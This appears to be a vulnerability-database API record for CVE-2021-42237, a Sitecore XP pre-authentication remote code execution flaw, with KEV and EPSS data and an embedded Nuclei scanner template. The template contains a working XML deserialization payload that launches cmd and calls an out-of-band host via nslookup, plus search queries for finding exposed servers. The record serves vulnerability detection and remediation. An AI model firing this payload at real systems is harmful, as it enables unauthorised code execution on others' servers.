{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-42237/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-42237/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-42237/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-42237/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-42237/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-42237"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-42237"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.97764,
      "kev": true,
      "percentile": 0.99903
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-42237.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2021-42237\n\ninfo:\n  name: Sitecore Experience Platform Pre-Auth RCE\n  author: pdteam\n  severity: critical\n  description: Sitecore XP 7.5 to Sitecore XP 8.2 Update 7 is vulnerable to an insecure deserialization attack where remote commands can be executed by an attacker with no authentication or special configuration required.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: For Sitecore XP 7.5.0 - Sitecore XP 7.5.2, use one of the following solutions- - Upgrade your Sitecore XP instance to Sitecore XP 9.0.0 or higher. - Consider the necessity of the Executive Insight Dashboard and remove the Report.ashx file from /sitecore/shell/ClientBin/Reporting/Report.ashx from all your server instances. - Upgrade your Sitecore XP instance to Sitecore XP 8.0.0 - Sitecore XP 8.2.7 version and apply the solution below. - For Sitecore XP 8.0.0 - Sitecore XP 8.2.7, remove the Report.ashx file from /sitecore/shell/ClientBin/Reporting/Report.ashx from all your server instances. For Sitecore XP 8.0.0 - Sitecore XP 8.2.7, remove the Report.ashx file from /sitecore/shell/ClientBin/Reporting/Report.ashx from all your server instances.\n  reference:\n    - https://blog.assetnote.io/2021/11/02/sitecore-rce/\n    - https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-42237\n    - http://sitecore.com\n    - http://packetstormsecurity.com/files/164988/Sitecore-Experience-Platform-XP-Remote-Code-Execution.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-42237\n    cwe-id: CWE-502\n    epss-score: 0.97764\n    epss-percentile: 0.99903\n    cpe: cpe:2.3:a:sitecore:experience_platform:7.5:-:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: sitecore\n    product: experience_platform\n    shodan-query:\n      - http.title:\"SiteCore\"\n      - http.title:\"sitecore\"\n    fofa-query: title=\"sitecore\"\n    google-query: intitle:\"sitecore\"\n  tags: cve2021,cve,packetstorm,rce,sitecore,deserialization,oast,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /sitecore/shell/ClientBin/Reporting/Report.ashx HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/xml\n\n        <?xml version=\"1.0\" ?>\n        <a>\n            <query></query>\n            <source>foo</source>\n            <parameters>\n                <parameter name=\"\">\n                    <ArrayOfstring z:Id=\"1\" z:Type=\"System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\" z:Assembly=\"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"\n                        xmlns=\"http://schemas.microsoft.com/2003/10/Serialization/Arrays\"\n                        xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\"\n                        xmlns:x=\"http://www.w3.org/2001/XMLSchema\"\n                        xmlns:z=\"http://schemas.microsoft.com/2003/10/Serialization/\">\n                        <Count z:Id=\"2\" z:Type=\"System.Int32\" z:Assembly=\"0\"\n                            xmlns=\"\">2</Count>\n                        <Comparer z:Id=\"3\" z:Type=\"System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\" z:Assembly=\"0\"\n                            xmlns=\"\">\n                            <_comparison z:Id=\"4\" z:FactoryType=\"a:DelegateSerializationHolder\" z:Type=\"System.DelegateSerializationHolder\" z:Assembly=\"0\"\n                                xmlns=\"http://schemas.datacontract.org/2004/07/System.Collections.Generic\"\n                                xmlns:a=\"http://schemas.datacontract.org/2004/07/System\">\n                                <Delegate z:Id=\"5\" z:Type=\"System.DelegateSerializationHolder+DelegateEntry\" z:Assembly=\"0\"\n                                    xmlns=\"\">\n                                    <a:assembly z:Id=\"6\">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly>\n                                    <a:delegateEntry z:Id=\"7\">\n                                        <a:assembly z:Ref=\"6\" i:nil=\"true\"/>\n                                        <a:delegateEntry i:nil=\"true\"/>\n                                        <a:methodName z:Id=\"8\">Compare</a:methodName>\n                                        <a:target i:nil=\"true\"/>\n                                        <a:targetTypeAssembly z:Ref=\"6\" i:nil=\"true\"/>\n                                        <a:targetTypeName z:Id=\"9\">System.String</a:targetTypeName>\n                                        <a:type z:Id=\"10\">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type>\n                                    </a:delegateEntry>\n                                    <a:methodName z:Id=\"11\">Start</a:methodName>\n                                    <a:target i:nil=\"true\"/>\n                                    <a:targetTypeAssembly z:Id=\"12\">System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly>\n                                    <a:targetTypeName z:Id=\"13\">System.Diagnostics.Process</a:targetTypeName>\n                                    <a:type z:Id=\"14\">System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type>\n                                </Delegate>\n                                <method0 z:Id=\"15\" z:FactoryType=\"b:MemberInfoSerializationHolder\" z:Type=\"System.Reflection.MemberInfoSerializationHolder\" z:Assembly=\"0\"\n                                    xmlns=\"\"\n                                    xmlns:b=\"http://schemas.datacontract.org/2004/07/System.Reflection\">\n                                    <Name z:Ref=\"11\" i:nil=\"true\"/>\n                                    <AssemblyName z:Ref=\"12\" i:nil=\"true\"/>\n                                    <ClassName z:Ref=\"13\" i:nil=\"true\"/>\n                                    <Signature z:Id=\"16\" z:Type=\"System.String\" z:Assembly=\"0\">System.Diagnostics.Process Start(System.String, System.String)</Signature>\n                                    <Signature2 z:Id=\"17\" z:Type=\"System.String\" z:Assembly=\"0\">System.Diagnostics.Process Start(System.String, System.String)</Signature2>\n                                    <MemberType z:Id=\"18\" z:Type=\"System.Int32\" z:Assembly=\"0\">8</MemberType>\n                                    <GenericArguments i:nil=\"true\"/>\n                                </method0>\n                                <method1 z:Id=\"19\" z:FactoryType=\"b:MemberInfoSerializationHolder\" z:Type=\"System.Reflection.MemberInfoSerializationHolder\" z:Assembly=\"0\"\n                                    xmlns=\"\"\n                                    xmlns:b=\"http://schemas.datacontract.org/2004/07/System.Reflection\">\n                                    <Name z:Ref=\"8\" i:nil=\"true\"/>\n                                    <AssemblyName z:Ref=\"6\" i:nil=\"true\"/>\n                                    <ClassName z:Ref=\"9\" i:nil=\"true\"/>\n                                    <Signature z:Id=\"20\" z:Type=\"System.String\" z:Assembly=\"0\">Int32 Compare(System.String, System.String)</Signature>\n                                    <Signature2 z:Id=\"21\" z:Type=\"System.String\" z:Assembly=\"0\">System.Int32 Compare(System.String, System.String)</Signature2>\n                                    <MemberType z:Id=\"22\" z:Type=\"System.Int32\" z:Assembly=\"0\">8</MemberType>\n                                    <GenericArguments i:nil=\"true\"/>\n                                </method1>\n                            </_comparison>\n                        </Comparer>\n                        <Version z:Id=\"23\" z:Type=\"System.Int32\" z:Assembly=\"0\"\n                            xmlns=\"\">2</Version>\n                        <Items z:Id=\"24\" z:Type=\"System.String[]\" z:Assembly=\"0\" z:Size=\"2\"\n                            xmlns=\"\">\n                            <string z:Id=\"25\"\n                                xmlns=\"http://schemas.microsoft.com/2003/10/Serialization/Arrays\">/c nslookup {{interactsh-url}}</string>\n                            <string z:Id=\"26\"\n                                xmlns=\"http://schemas.microsoft.com/2003/10/Serialization/Arrays\">cmd</string>\n                        </Items>\n                    </ArrayOfstring>\n                </parameter>\n            </parameters>\n        </a>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms DNS Interaction\n        words:\n          - \"dns\"\n\n      - type: word\n        part: body\n        words:\n          - \"System.ArgumentNullException\"\n# digest: 490a004630440220292404aab5f310b730113b6c13a1a9051781a317cd0edf5fe6d186ccc70d009c02202e8ae747fe82da86861078709443d8afe7e8bc749ea437c765699b6d9b89eccb:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-42237"
}